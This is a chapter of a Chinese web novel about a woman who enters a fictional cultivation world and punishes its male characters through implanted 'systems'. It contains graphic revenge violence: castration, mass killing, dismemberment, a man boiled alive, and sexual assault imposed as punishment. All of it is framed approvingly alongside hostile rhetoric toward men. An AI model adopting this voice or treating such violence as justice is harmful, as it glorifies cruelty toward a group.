《天道系统003》 1. 第 1 章 “江蔚然,你坏事做尽,连别人的身份都要偷去,当真可恨。” 冰天雪地中,一个身穿叶纹绿袍的男青年目光冷冷地扫过趴在地上奄奄一息的女子。 宁秩一睁眼就听到这句话,心中不由无语至极。 “辰风,江小姐也受到了惩罚,就让她在这自生自灭吧。”另外一个站在牠身边雪肤漆瞳、白衣金绣的男子轻声说道。 “这个世界主要是由《归山》与《【归山】不羡君》共同构成的。” 接下来,三花喵还发送了精美PPT在她脑中播放。 “《归山》虽然是一本主要描写男性搅屎的文,但还是非常不一般地让出了可怜的篇幅,描写了好几个女性角色呢。” 反正读者是这样吹的,让我们看看吧,里面女性角色的形象是什么样子的呢? 三花喵绘声绘色地搭配了一个猫咪坐椅子翘腿呲牙满脸不屑的图。 宁秩现在身体的主人,温柔的倒楣女配江蔚然,一辈子给主角受谢雪瑶当血包。 从小就被教育要照顾这个比自己小七岁的未昏夫,每次牠除妖降魔受伤她都无怨无悔地牺牲自己的修为为其治疗。 可以说未昏妻这个身份没给她带来半分好处,最后还要因为主角攻的霸道与占有欲,遭受牠的无妄诬陷,最后凄惨死在冰天雪地里,尸体还被觉得不解气的主角攻找魔门最下贱的男人轮仠。 可笑的是最后得知真相的主角受,还拿着江蔚然的苦难与主角攻玩了一回你追我逃的性张力游戏。 反正跟这两个贱男沾边的女人多半没有好下场,就连主角攻手下的得力干将、狠毒病态疯女人花柳色也是如此。 但读者说花柳色是罪有应得的。 啊对对对,是是是,花柳色杀人如麻,喜好折磨美男,按照读者所说的,她不死就对不起被她害死的人,但也不能双标啊。 她做着比主角攻还少的坏事,得到比主角攻还多的惩罚。 当然在一些读者眼里,受到最大惩罚的还是主角攻,毕竟花柳色只是因为针对主角受被油锅烹煮,哪里比得过深受情爱折磨有时还因为主角受闹别扭没屎可搅的魔门男门主呢。 除此之外,另外一个占据此书描写篇幅多的女配,傲慢骄奢大小姐女配谢菁华,成功避开了主角攻受,但没避开狗血剧情里的其它男同。 她被异母同父的哥哥骗昏,还诞下了一个男儿,得知真相后直接情绪崩溃,摔死出生后不久的男儿,又在毒杀骗昏男同之时被牠发现杀死。 无人在意,毕竟她只是寥寥几句带过,衬托骗昏男同不择手段心狠手辣的单薄纸片人女配而已。 更何况这样狠心无情的骗昏男同心中还暗恋着洁白无暇的主角受,大家虽然骂牠该死,但实在是怜爱,还为其写了各种同人文。 数到最后,竟然没几个活着的女配,哦,还是有的,只是下场不好罢了,一个忮忌主角受美貌处处讽刺牠的谢家炮灰女配最后嫁给了一个家暴男,天天挨打。 “总之在经历了无数次踩女捧男的剧情后,主角攻受幸福地生活在一起搅屎了。” 宁秩在脑子里看到三花喵配了两坨屎挨到一起的图片表示恶心嘲讽。 “《【归山】不羡君》的剧情就很简单了,听名字就知道是为了《归山》当中的反派谢羡君创造的同人文。” “打工人时岳穿越了,遇到反派谢羡君,最后用工具给牠搅屎。” 宁秩感受到五脏六腑恢复如初了,她深深地吐了一口浊气,对三花喵说:“辛苦了。” 本来她还想找个地方把原身的记忆慢慢梳理了,现在她觉得大可不必,知道几个关键节点,其它到要用了再回想吧。 她从来都是有仇必报,吃不了被欺负憋屈的苦,哪怕是在她人的回忆中感受也不行! 三花喵顿了下,又说:“不过这个世界还未走完一个完整的剧情,有些恶心的事情也尚未发生。” 宁秩思忖:“我知道了。” 由小说诞生的世界,也不是非得按照小说剧情分毫不差地走下去。 之前宁桦不也是这样的,更何况小说还囊括不了一个世界的内容。 回到眼前,主角攻受吧啦吧啦说了一大堆,旁若无人地在风雪当中对视完准备离开了。 宁秩也不忍着,冷笑着开口,声音轻渺。 “谢雪瑶,你还记得吗?你小时候被谢家几个男孩推进茅坑里,捞出来的时候头发都沾蛆了。 “但你也不敢反抗,只会在自己房间里哭哭啼啼,大人问了也是抿着唇一声不吭,还是我出头为你教训了牠们。” 谢雪瑶脸色一白,显然是陈年旧事让牠可怜的自尊心受到了伤害。 卫辰风脸色难看,牠本欲出手,但又想到什么,哼出一句:“师尊,她不过是苟延残喘罢了。” 谢雪瑶垂眸,暗自咬了下牙齿,声音清冷:“辰风,我们走。” “就当可怜她临死之前胡言乱语吧。”这一句牠说得格外高高在上。 宁秩本欲起身暴打,但又想到剧情中卫辰风还会带着十几个相貌丑陋还浑身流脓的老男人回来,就放弃了追杀牠们。 等感受不到牠们的气息,她立刻站起,生龙活虎地呸了一声。 “三花,等着看吧,好戏就要登场了,我会让牠们知道什么叫做自作自受。” 这个世界与上个世界的修仙界不同,修道者并没有那么大的本事,什么飞天遁地、移山挪海、随随便便就屠灭一城的情况根本不会出现,大多数人族都是凭借法器种植、出行与驱掳妖兽的。 这里也不以灵根定门槛,每个人都可以修炼,修炼的是真气,至于修炼到什么程度看个人天分。 至于等级,分为土地两阶,土地又包含了上中下三品,根据宁秩对上个世界战力的换算,就算是最高等级也只是相当于筑基。 谢雪瑶天阶下品,卫辰风天阶中品,宁秩精神力那么强大,根本就不担心弄不了牠们。 宁秩用神识扫了一下四周,灵巧地钻到不远处的林子里。 摘了几个红彤彤的果子啃着吃掉,宁秩在修炼当中,耐心等待着。 不过一会,林中风动,雪簌簌飘落,宁秩骤然抬眼。 与此同时,雪枯林外,一行恶臭男人正在说着话。 “启禀主上,没有发现江蔚然尸体的踪影。” “一群废物!”卫辰风面色阴沉,牠看向丑陋的男人们,眼睛受到伤害,于是更气了。 宁秩弯唇笑了,她神识覆盖周边百里的位置,自然是听到了卫辰风这气急败坏的一声。 不过她也不急,向着牠们走的时候,时不时停下来,看看树,看看树上的雪。 最终,在林中,牠们狭路相逢。 “hello,想好要怎么死了吗?”宁秩唇无血色,笑容却格外灿烂。 还不等牠们反应,卫辰风发现自己竟然无法言语了。 随后,在场所有男人,也包括牠,魔门男门主,竟然齐齐下跪了! 牠不可置信地望向宁秩,心中又惊又恐,满脸屈辱。 宁秩也不多说话,跳到牠面前,找好位置,先是左右开弓,哐哐地给牠几个大嘴巴子,再抬起脚,帅气旋风踢,把牠狠狠踹倒在地。 随后也不再理会牠,摸走牠的储物袋,解开后,从里面掏出了双鱼玉,又把袖中的红果子放入其中。 卫辰风目眦欲裂,又因为脸颊浮肿,发丝凌乱,而显得格外狼狈。 “谢雪瑶,来雪枯林。”宁秩在牠不甘的目光中,对着双鱼玉那头的人说道。 随后她再次看向这堆贱男,语气冰冷地命令道:“去雪枯林外围。” 雪枯林之外,开始无聊的等待,而宁秩也不是什么擅长等待别人的类型。 所以在好戏的另外一环凑齐之前,她控制着卫辰风为自己变化出有台阶的龙椅,然后走上去,一拂衣摆,懒散地坐下。 之后操控着牠们互相打巴掌,听哪个巴掌拍得最响,时不时还在卫辰风愤恨以及牠们敢怒不敢言的目光当中指点一番。 所以谢雪瑶御剑到来时看到的是一堆红肿的猪头脸也不奇怪了。 谢雪瑶抿抿唇,将视线从牠们身上移开,看向不久前才见过现在却已经完好如初的宁秩。 牠心里仍在震惊,甚至有一丝惶恐不安,但面上不显。 宁秩用咏叹调、充满浓重嘲讽的语气对谢雪瑶说道。 “谢雪瑶你当真可恨,连别人的身份都要偷去。” 谢雪瑶皱眉:“你什么意思?” 宁秩看了眼狼狈倒地、一言不发的卫辰风,再看向牠。 “可怜啊可怜,那我大发慈悲告诉你这个蠢货真相吧。” 谢雪瑶预感很不好,一瞬间想过阻止宁秩开口说。 “牠,魔门男门主,卫辰风,也是卧底在仙门,你的徒儿,其实在你七岁那年就已找到你,把你换入男婴身体里,送入谢家。” “所以说,真正当真可恨,偷了别人身份的人是你,谢雪瑶,是你们。” 谢雪瑶闻言心乱如麻,心中有诸多疑问,但宁秩没有那个耐心和牠多说,定住牠,冷冷一笑。 “我们当中最有资格审判的是我,而你们只要接受审判就好。” 宁秩伸出右手食指,指向卫辰风。 “当初我躲在门外,亲眼看完你们胡乱搅屎,现在前未昏夫你也要这样看着了。” 本就因为前面所说之事而心中混乱的谢雪瑶,听到宁秩这么说,手指微颤,惶恐而又惊疑不定地看她。 卫辰风也顿觉不好,牠一瞬间眩晕,顾不得形象,用尽全力,试图破除宁秩对牠的精神操控。 宁秩没阻拦,看牠头痛欲裂,像是被人用手搅动脑髓,满头大汗的样子,真心实意地笑了。 原身当然没有看到牠们是怎样背着自己乱搞的,只是当初被卫辰风叫到门外,不明所以地成为了牠们play的一环罢了。 “仙师不妨叫得再大声点,让你门外的未昏妻也听一听我们……” “不要……” 原身之后进去,有些疑惑屋内为何会有一股趋之不散的尿骚味。 但善解人意的她没有直接问谢雪瑶,而是旁敲侧击,让牠有病治病,不要讳疾忌医。 “真希望这些男人内部消化的时候,独立搅屎,不要牵扯到女人。” 大概是因为三花喵看过全文,现在听到宁秩说起此事,忍不住跳出来吐槽。 宁秩心念一动:“三花,既然时岳是穿越到一本书中的,那能不能找到她那个世界,把现在发生的情节免费给大家看看呢。” 三花喵本来就被原书剧情恶心得不行,一听还有地方可以报复,立刻道:“我试试。” “你们十几个,对男门主做你们本来要做的事。”宁秩嘴上这么说,实际上一个飞刀过去,把这些男人的肉瘤都落了下来。 为了不让牠们现在就死掉,还大发慈悲地用回春诀吊着命。 十几个老男人疼得直打滚,眼睛瞪得大大的,满是恐惧,身体却不受控制地向着卫辰风过去。 臭气越来越近,卫辰风连连后退,随后有些惊喜地发现自己竟然可以移动双腿了。 可牠还没高兴多久,又绝望地想到,她是想看自己挣扎无望。 牠像只老鼠一样在雪地里狼狈地逃窜着,很快就被几个男人抓住脚踝,拖着回到原来的位置。 卫辰风闻到牠们身上所散发出来的脓腥臭味,恶心到干呕。 谢雪瑶闭上了眼睛,不愿再看。 惨叫声不绝于耳,一个半时辰后,宁秩打了好几个哈欠,她命令这十几个老男人停下。 看着卫辰风破皮流脓浑身上下没有一块好肉的凄惨样子,她在思考要不要现在就刀了牠们。 宁秩想了一会,眼睛一亮:“就试试这个吧。” 在路上,顺手牵羊,拿了个鬼怪面具,宁秩来到风月居。 她站在屋顶,迎着习习微风,将十几个男人下饺子一样扔下来。 正好将迎接闝男的龟男砸了个正着。 宁秩心情平静地看着。 因为混乱,下面乱成一锅粥,有修炼过的男人想要攻击她,却发现使不出法术了。 察觉到不对,牠惶恐万分地想要跑向大门,但被身旁的男人抓住了手臂。 “你抓我干嘛?”“我也不想啊,我控制不住!”“啊啊啊!蠢货你踩到我了!”“嗷嗷嗷痛痛痛!”“滚呐!”“……” 宁秩见此,眨眨眼睛,哈哈笑。 等了会,笑够了,宁秩从天而降,她拍拍衣袖,对大家说。 “诸位,从此刻开始,这家店归我管了,有意见的去死。” 随后,宁秩右手在空中一划,凭空亮出了八尺大刀。 她在众人尖叫与自己猖狂的笑声中追逐,将整个风月居的男人先骟后杀了个精光。 至于风月居的女人,宁秩看向她们:“你们收拾收拾离开此处吧。” 她们也不敢停留,把风月居能拿的财物都拿走后,一溜烟跑了。 偌大的风月居就只剩下宁秩带来的卫辰风谢雪瑶牠们十几个叠在一起的男人活着了。 宁秩摸了摸手中金属质感的圆形小球,分别抛向卫辰风与谢雪瑶,随后轻声说道:“就先让你们试一试我做的系统好不好用。” 随后右手一挥,使得牠们都从昏迷之中醒来,宁秩嘴角微微弯起,眸子熠熠生辉,朗声道。 “接受正义的审判吧!” 刀光之中,除卫辰风与谢雪瑶之外的男人手脚都被砍断,血腥气越发浓郁了。 宁秩握着滴血的八尺大刀,看向幸存的两个贱男,笑道:“你们就在这里慢慢等死吧。” 宁秩拖着八尺大刀,缓缓向着闪耀着光亮的大门走去。 不等大脑混沌的卫辰风为劫后余生喜悦,脑中就响起了欢快的声音。 【叮!恭喜宿主绑定了天道系统001,正在为宿主生成契合系统,男德改造系统正在生成,男德改造系统生成成功。】 【作为一个以成为天下男子男德典范为目标的男人,怎么能在风月场所逗留呢,请在半个时辰之内逃离风月居。任务完成奖励:为你唱首贱男必死歌;任务失败惩罚:电击。】 卫辰风虽知今时不如往日,但还是无能狂怒,呵斥道:“你是什么东西,给本尊滚!” 【攻击系统,不守男德,电击惩罚!】 “啊啊啊!”卫辰风跟中风一样抖个不停。 随后,电击惩罚结束,卫辰风狼狈地爬向大门。 不曾想谢雪瑶也爬过来,抓住牠的脚踝,喘着气,虚弱无比地说道:“你不能走。” 原来谢雪瑶在卫辰风绑定系统的时候,脑中同样也响起了一道欢快的声音。 【叮!恭喜宿主绑定了天道系统002,正在为宿主生成契合系统,花魁养成系统正在生成,花魁养成系统生成成功。】 【检测到有合适的花魁养成对象卫辰风,请宿主留下牠,为我们男倌行业增添风彩。任务完成奖励:花魁养成秘诀;任务失败惩罚:电击。】 宁秩出门后,无视诸多探究的目光,大摇大摆地走在街上。 “三花,我觉得吧,虽然我们在上个世界研究出来的系统,无法带着宿主穿梭位面,但骗骗一个小世界的人还是可以的。” “以后我们干脆直接投放系统算了,你觉得呢?” “您之前不也是抱着这样的想法将这些系统研制出来的吗?三花也觉得可行。” “不过在这之前,还是要测试一下。”宁秩好奇地推开一处围起来的人群,在一个卖糖画的小商贩前面探头瞧了瞧。 三花喵表示认可,宁秩买了一个猫猫形状的糖画,又从人群当中挤出来。 “下一个系统就给这个世界即将到来的主角时岳吧。” 没有等待太久,真气稀少的黑曜山迎来了一个异世之魂。 正是实习即将转正的二十一岁青年时岳。 “不是,天姥姥你给我整哪去了?” 时岳爬起来,看看周围,她是在一个光秃秃的陡坡之上,周边都是草木茂盛的丛林。 不会是穿越了吧?这情况,肯定是穿越了吧。 至于为什么不怀疑是别的情况,那是因为她在穿越之前就因为连续一周自愿加班到凌晨,猝死了。 互联网大厂就了不起吗?但愿赔偿金能给多点,也算是对妈妈这么多年含辛茹苦的回报了。 时岳再次叹气,现在她的身体已经不是她的了,而是一个因为馋嘴不疼爱弟弟被父亲活活打死的小胖丫。 小胖丫的名字也起得随意,叫彩霞,时岳醒来之时,属于彩霞的记忆就涌入了她的小脑瓜子里。 惨啊,真惨啊,比她还要惨,至少她现在还是活着的。 时岳默默祝福这个素未谋面的女孩能够投胎到女尊社会。 随后她又重重地叹了一口气,为自己灰暗无光的将来。 天大地大,也不知道可以去哪里。 反正村子是肯定不能回了,不然被当成夺舍的怪物,用火烧死可就不好了。 再根据彩霞的记忆,这个世界是可以修炼的,不过像她们这样非世家出身,又地处偏远,难啊。 太多人终其一生,连修炼门道都摸不着,更别说她还是女男之别之中那个被轻视的女。 时岳真的是要骂爹了,她不敢走远,只是下了陡坡,时而抱头蹲下,时而站起唉声,过后又踱步,口中念念有词:“穿越大神?系统,系统?呜呜,真的没有吗?” 时岳不知道好心要给她送金手指的女人不是没来,而是正坐在树杈上,悬在空中的双腿轻轻晃动,看到这一幕,唇角勾起一抹轻松自在的笑意,她往储物袋之中一抓,拳头展开,手心向上一抛,又吃了一颗红果子。 时岳哀嚎了好一会,终于接受事实,冷静下来。 冷静个屁啊! 她看向远山阳光下茂密到有些凄冷的参天古树,心中更是绝望。 时岳决定做点什么,缓解一下内心的焦虑,于是她做了一个违背形象的决定。 她竟然四肢着地,阴暗地爬行。 正在吃红果果的宁秩:? 怎么回事啊,这人精神不会有问题吧……宁秩兴奋了,是病友,可以看乐子,她最喜欢了。 时岳阴暗爬行了会,弄得满手灰尘草屑后,心情好多了。 她决定去找点东西吃。 其它的再想吧,总不能饿死。 也不知道是不是她的错觉,穿越到彩霞身上,她就变得很想吃东西,那是来自灵魂的渴望。 时岳更觉得这是体质的原因,也更对于彩霞的悲剧感同身受。 但凡她是个男孩,她就算是贪吃也会被夸有福气。 时岳拍拍屁股,顺着小路走。 她只走那些草木被压过的路,这样安全一些。 期间她遇到一丛覆盆子,也没慊弃,全都摘了吃。 后来就再没看到认识可吃的东西了。 也不知走了多久,暮色四合,天渐渐黑了起来,时岳担心会遇到狼,于是在不安中加快了脚步。 时岳撞见了一条小溪,她往水里看了看,里面竟然沉了好几具尸体。 时岳脸上没什么表情地往后退,手扶着树,心脏砰砰直跳。 “我的天姥姥。” 这时,树上突然探出一条蛇,时岳啊的一声,向着溪流上游跑。 树影婆娑,黑夜如影随形,时岳跑到了一个山洞前,她想了想,还是进去了。 一个受了伤的男人正躺在那里,锦衣华服,看起来挺有钱的。 时岳:“……” 经验告诉她不要随随便便捡男人,更不要心疼任何男人。 此时时岳内心的想法跟宁秩之前对此类俗套剧情的吐槽同步了。 时岳又想起之前在小溪遇到的蛇,顿时毛骨悚然。 她怎么感觉有一双手在操控这一切呢。 时岳又看了看昏迷不醒的男人,忍不住骂了一句:“牠爹的,有钱人这么多,怎么就不能是我呢?” 这男的光是镶金玉佩腰间就挂了一圈,时岳看得心里直冒酸水。 犹豫了一会,时岳还是上前,推了推牠,谨慎地喊了两声,“男人,男人,你没事吧。” 没有得到回应,时岳狂喜,她把牠身上值钱的东西全都顺走,包括牠头发上的发簪,然而就在要脱下牠的外衣搞个简易包裹的时候,时岳犹豫了。 且不论这样道德与否,就说这财物万一给她招致灾祸,比如牠非富即贵家中长辈寻来,她这样一个无权无势还不知道怎么修炼的凡女又该如何应对? 时岳放下手中财物,电闪雷鸣间想起小溪中的尸体,还是决定远离这个是非之地。 外面忽然下起瓢泼大雨,时岳站在山洞门口:“……” 宁秩看到她表情都要笑了:“那就让我帮帮你吧。” 黑暗中,一个金属小球向着一个胖乎乎的小女孩高速旋转着前进。 【叮!欢迎宿主绑定了天道系统003,正在为宿主生成契合系统,拯救人类系统正在生成,拯救人类系统生成成功。】 【世间万千生灵,唯独人族最惨,未曾脱离女人独立行走过的男人罪孽深重,自始至终都不明白爱与善良的真谛,而女人又被迫太过独立,总是付出钱又没有爱。】 【你身为天命主角,穿越到《归山》之中,决心改变这一切!让男人不再尝修炼苦果,让女人担世间责任之重!】 【然而若想救人,必先救己!003为您准备了新手礼物抽灵玉,只要杀死一个罪孽深重的人就可以获得此人的所有修为,请宿主了解这个世界的构成,并且生存下去。】 时岳:!!! “我就说嘛,像我这样的幸运鹅,穿越怎么可能没有金手指。” 激动、兴奋、面红耳赤过后,时岳想起了穿越之前所发生的一件处处透着离奇的古怪之事。 著名双男主IP大作《归山》剧情突然大变,原本的主角攻不仅被假温柔女配江蔚然反杀,跟十几个老男人发生了不可描述的关系,还被知道真相突发恶疾的主角受押在风月居一起同难共苦,受尽仇人的侮辱。 《归山》的粉丝大家都知道,疯起来没一个好货。 时岳记得,她读高中的时候,因为喜欢一个博主的人外oc,关注过一个画手,她的亲友画了一张除了绿袍笛子就与《归山》主角攻毫无关联的美男图,就被《归山》粉闻味而来,发疯鉴抄,最后画手实在受不了就退圈了。 时岳当时就觉得很莫名其妙啊,也很庆幸自己因为不喜欢主角是男的,即使舍友再强力推荐,她都没去看《归山》这本书。 言归正传,《归山》粉很疯就是了,这点小事一下子就嚷嚷得到处都是了。 也因为此事的离奇性,以及可以借此嘲讽《归山》粉的特性,当时在网上闹得很大。 时岳这个从大学以后就很少看小说的人都知道了。 没想到她是穿越到这本书中了……是吗? 时岳心中还有诸多疑问,她问系统来历、这个世界是否有其它系统、江蔚然是哪个版本的等等。 【宿主权限不足,请自力更生。】 时岳:“行叭。” 她转身就进山洞,蹲下凝视男人的脸,一言不发吓人得很。 时岳手中拿着从旁边捡来的大石头,正在绞尽脑汁地回想,这男的有点熟悉。 突然,她灵光一现,眉头舒展开来,当初舍友和她讲《归山》的时候,最心疼的就是这个小时候被乞丐猥亵过、长大了就爱把所有身穿破布烂衫的人削成人棍的谢羡君了。 时岳还在凝视着眼前的男人。 没错了,她心想,喜爱腰间佩戴众多玉佩,眼角还有一颗泪痣,就是谢羡君了。 杀了牠,谢家不会追究。如果她没想错的话,溪间尸体的主人本是谢家家主的妹妹谢环遥派去杀牠的。 趁牠弱,要牠命! 时岳高高地举起石头,向着牠的脖颈砸去。 【恭喜宿主杀死谢羡君,获得地阶上品的修为。】 时岳扔下石头,靠在洞壁上,心脏狂跳,喘着粗气:“我杀人了。” 她知道在这个世界,必须要适应手上沾染鲜血的生活,只是这样离安稳的现代越远了,她有些怅惘与难过。 “我杀人了,我杀了一个男人,”时岳重复,眼神也越发坚定,“可是我不后悔,我也不会后悔。” 她得到了在这里存活的资本,她很高兴,是真的真的很高兴。 时岳剧烈得贴近耳膜的心跳声逐渐平息下来,她开始思考今天发生的事。 慢慢地,时岳表情变了,眼神也逐渐晦暗,她似乎是想到了什么。 也许是她敏感了,她总感觉突然出现的蛇与突然降下的滂沱大雨不是意外。 很故意,就好像、就好像是为了让她与谢羡君产生什么联系,最终建立某种关系。 时岳被这种简直是莫名其妙的猜测吓了一跳。 虽然她的预感的确很灵,也救过她的命。 有一次她看到广告牌忽然就想象到它掉落下的样子,便停下脚步,怀着不可信其无的心情往后退了很远,结果她前面那个大腹便便的男人被砸了个稀巴烂。 但她还是觉得这有些太过离奇、荒谬了。 穿越异世,拯救男反派,被牠爱上,成为牠美丽的挂件,与牠共享荣光——小说不都是这样写的吗? 但现实不是的,时岳不需要,更不信这种虚无的承诺。 再说谁会想要那么麻烦,先帮助自己的敌人壮大,再去牠手指缝中享用或者是抢夺胜利的果实?真是荒谬又可笑。 是的,时岳厌男,厌恶每一个跟她抢夺利益的男。 所以在联想到这种可能的时候,时岳眉头微微皱起,很是反感,立刻想要否认这种猜测。 毕竟要真是这样,那么这个世界也太垃圾了吧。更何况她还绑定了天道系统,除男扶女的目标让她极其舒适,更不可能走向那种荒芜的道路。 不管真实情况怎么样,反正她都把谢羡君杀了。 时岳与尸体共度了一个晚上,断断续续只睡了一小会,次日清晨就从洞穴走了出去。 宁秩唇角微微笑,拍拍衣袖,放心地离去。 她还想过,如果时岳没有那个觉悟,自己会采取更加强硬的手段。 所幸时岳没有让她失望。 “是时候在这盘棋局之中加入更多的变数了。”她想。 棋子放在时岳一个人身上即将改变的是剧情,而加上其她人将要改变的会是世界。 宁秩之前在卫辰风与谢雪瑶两个贱男身上不断测试,已经确定了系统的稳定性与安全性,接下来要做的就是抓宿主来干活了。 她不准备找本世界的,毕竟新生力量才更能带来有意思的变化,不是吗? 三花喵幽幽道:“难道不是因为她们更好骗吗?” 总之,她们准备以游戏的形式在时岳那个世界召集自愿穿越到这个世界的人。 系统与时岳的一样,都是天道系统生成的拯救人类系统。 学历不限,只招女人,游戏时间比较自由,每个玩家都有一个月实习保护期与一份神秘的实习礼物。 主线任务有价值,支线任务有获得感,任务奖励的积分可变现,到商城能够换取上架商品,包括在两个世界穿梭的门票。 当然,鉴于异世界的危险性,每个人都有一次退出机会,回到原世界,只不过以后再也不能成为玩家了。 宁秩把宣传、面试、发放系统、开始游戏的工作统统都交给了三花喵,毕竟术业有专攻,像它这样的人工智能操控一个小小低等世界的网络还是轻而易举的。 三花喵:“这分明就是大材小用。” 宁秩:“只要能够获得自己想要的,就是才能用到恰到好处。” 宁秩在时岳来到这个世界之前的三个月期间,修炼,逗三花喵玩,看花草,看山水,抓好吃的野味烧烤,顺便再把时岳的金手指都找出来,略作修改,当作以后时岳完成任务的奖励。 在她的修改下,时岳的金手指已经有了质的飞跃。 比如抽灵玉,在原文中是用来传功给道侣的物件,现在变成壮大自身的珍宝。 再比如合欢绳,在原文中是来约束道侣的无聊之物,在她的改造下也成为了控制承受方行动的宝物。 时岳根本就不需要掌控男人,她只需要掌控自己。 虽然说大费周章改造这些掌控男人的物件远没有宁秩去别的地方零元购来得方便。 但宁秩还是觉得自己的才能用在这处并不浪费,也不觉得大材小 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早在打算用两个贱男测试系统时,宁秩就想好了,找个借口电击骟除牠们的丑陋累赘。 她敢确定,对于卫辰风来说,被阉割的痛苦绝对要比牠之前被下等男轮仠来得更让牠猛烈、更彻心扉些。 毕竟在男尊社会的逻辑里,肉瘤是男人成为主体的象征,就算是被男人侵犯了,牠还可以让别人成为客体。 更何况有两篇不同视角搅屎文的双重加持,失去丑物简直就像是剥夺了牠们一半的灵魂。 宁秩前面不过是让卫辰风自食恶果罢了,如果牠没事先用那种恶心的手段,在雪枯林她也只是会给牠做一个延年益寿的小手段,再留着慢慢折磨。 卫生风失去了肉瘤,牠感觉代表着牠尊严与傲气的东西消失了,每个闝男讶异的眼神都让牠感到屈辱,无数次牠都想跟牠们同归于尽。 但牠没有想过自杀,牠还是怀有逃出去的妄念,毕竟魔门门主的身份还没有暴露,牠大可以假装为一个拥有肉瘤、没有被侵犯从而沦为过客体的高贵男人。 每次卫辰风被折磨得快要死的时候,谢雪瑶在花魁养成系统的指示下,就会让牠得到救治,只为下一个看牠不顺眼的能够惩罚得到牠。 然而今日好像不太一样,卫辰风最后的表情是停留在痛苦之中的。 宁秩走到门口时,三花喵告诉她。 “卫辰风死了,教训牠的,功法远甚于谢雪瑶,牠没能救下牠。” 宁秩凭空取出一把折扇,遮住半边脸:“那可就有意思了。” “……”三花喵忍不住,“宿主,您还戴着面具。” “你懂什么,”宁秩翠绿色明亮的眼睛闪闪发光,“这样才有高人风范。” 为了闪亮出场,宁秩不仅把眼睛恢复成了原本的颜色,还加了只要施法运功就会发光的buff。 吱呀一声门被推开了。 “还有一股香味呢。” 宁秩悠闲自得地摇摇扇子。 她绕过屏风,一口大锅赫然出现在眼前。 宁秩看见一个骨肉模糊的东西坐在里面,糖水沸腾,正咕噜咕噜冒泡,甜腻腻的香味散发出来,遮掩着空气中若有若无的血腥气。 “怎么只杀一个?”宁秩颇为失望地摇摇头。 她把系统从卫辰风身上收回后,又在床底找到了双腿血淋淋的谢雪瑶。 此时牠双目无神,直愣愣地望着前方,口中却在不停地重复道:“花柳色,是花柳色杀了牠。” 敢情是个送口信的,宁秩直接搜了牠的魂。 画面中,撑着伞腰间挂着一个大金铃的女子从窗户钻了进来。 “好巧哦,”女子将一个死不瞑目的男人头颅扔了进来,“今天杀了很多美丽的男人。” 她慢悠悠转动伞柄,背对着明媚阳光粲然一笑,“我每天都要杀一百个男人,现在还差一个呢。” 女子将窗外的伞面收拢,撑着下巴笑吟吟:“你们谁想要成为这个幸运的男人呢?” 卫辰风是知道花柳色有事没事就喜欢到外面猎杀貌美如花的男子的,牠眸光微颤,想要说什么,女子却不给牠机会,腰间大金铃微微震颤,发出一道诡异幽秘的响声,一口大锅竟然凭空被甩出,它就像有生命似的,飞向卫辰风,把牠整个捞了进去。 谢雪瑶见状想要逃,也被女人脱手而出的伞斩断了双腿。 牠眼睁睁地看着女人拿她摔进来的头颅当了燃料,在底部烧得滚烫发红的锅中混合着白糖将卫辰风活活煮死了。 途中,卫辰风一直都在挣扎,意识到可能会丧命,牠也顾不得其它了,压抑着痛苦的感觉,大声暴露了自己的身份。 “你是说、你是魔门门主?”女人颇为微妙地停顿一下。 随后灿然一笑,“我知道啊。” 她要杀的就是牠。 最后,女人看向正流着血表情痛苦又隐忍的谢雪瑶,嘴巴一张一合。 宁秩读出了她的唇语——被你发现了。 三花喵:“她不是花柳色。” 根据原文描述与江蔚然的记忆,花柳色狠戾恶毒,动不动就杀人,但她有个在杀人时一定不说话的习惯。 这与她性格很搭配。 花柳色虽有这么一个可以使得旁观者联想到柳树春日抽芽生长的繁盛名字,但本人却仿若寒彻天地的冰。 只要站在那里,不笑的脸就能冷冻一切欢声笑语。 她的冷与《归山》所宣扬的高岭之花但懦弱无能谢雪瑶不同。 花柳色从骨子里透出的冰冷不是高山之顶那块遥不可及的冰,她是任何见到她的生灵都能切切实实感受到的寒。 杀死卫辰风这个笑得如此张扬明媚的女子绝对不可能是真正的花柳色。 “第二人格也有可能。” “而且三花,”宁秩又望了望锅里糊成一团的东西,“你不觉得卫辰风的死法颇为有趣嘛。” 宁秩像是在游戏之中触发了什么新奇的支线任务一样,兴致勃勃的。 “我要把花柳色找来问问,嗯,既然如此,顺便把魔门也收了吧。” 宁秩把另外一个系统从谢雪瑶身上收回后,就在房间里放了一把火,随后在一些人匆忙逃窜的背景之中悄然离去了。 宁秩行走在街道上,她随机抓取了一个路人问:“魔门在哪?” 路人指完路后,宁秩就给放了。 躲得老远的周围人立刻围上这个路人,七嘴八舌地问话。 “你还好吧,鬼面人没对你做什么吧?” “鬼命人是女是男?” “她抓住你做了什么?” 宁秩按照路人所说的,来到金陵远郊。 这里山脉连绵,绿树幽深,偶有鸟行,寥无人迹。 大概是为了烘托魔门深不可测之感,也是给卫辰风这个除了陷害她人就无事可干的小贱男强行挤出一点苏感来,作者竟然设定这个无恶不作、惹正道怨怒、而天下人恨不得生啖其肉的魔道得天独厚,占据了一片上古大妖虚空兽所化的虚空之境。 由于处在虚空之中,除了被标记过的魔门徒子,没有听说过寻得到魔门入口的。 要是随便一个正道高手来,都会唉声叹气,大呼难啊,难啊。 但难不倒宁秩,她将扇子别在腰间后,一跃而起,飞到山顶之上,然后掏出一把唢呐,喜庆地吹了起来。 在虚空入口谨慎观察的守门人:“?” 不是她有病就是我有病,结果就是两个守门人犯了病。 一阵嘀嘀嗒嗒热闹非凡的声音传入耳中,她们的身体便像是绑住了偃师十指操控的丝线,半点不由自己地就要去打开虚空之门。 空中虚空之门敞开后,她们哭丧着脸从对方眼中看到了不可置信。 魂种印记竟然没有发作? 她们不是在没有给管事汇报的情况下就开了门吗? 这个喜好戴着鬼怪面具的人究竟是何方神圣? 她们对于鬼面人的事早有耳闻,但没想到她会比预想得还要强大恐怖。 因为太过震惊,直到宁秩飞到虚空之门的入口,她们才逐渐从呆滞的状态脱离出来。 “带我去你们议事堂,”宁秩很自然地说,“麻烦了。” 两个额侧纹着蛇的守门人很想说些符合她们角色的台词,但显然眼前戴着鬼面面具的女人目的很明确,她用了一种不知是什么的卑鄙手段,让她们都张不开嘴说话。 “只管带路就好了,”面具下,宁秩笑眯眯地说,“其它不要多问。” 一路上,遇到了形形色色的人,她们瞥过三人一眼,都有些好奇。 现在谁不知道把谢雪瑶、卫辰风这种有头有脸的人物放在那种地方的鬼面人啊。 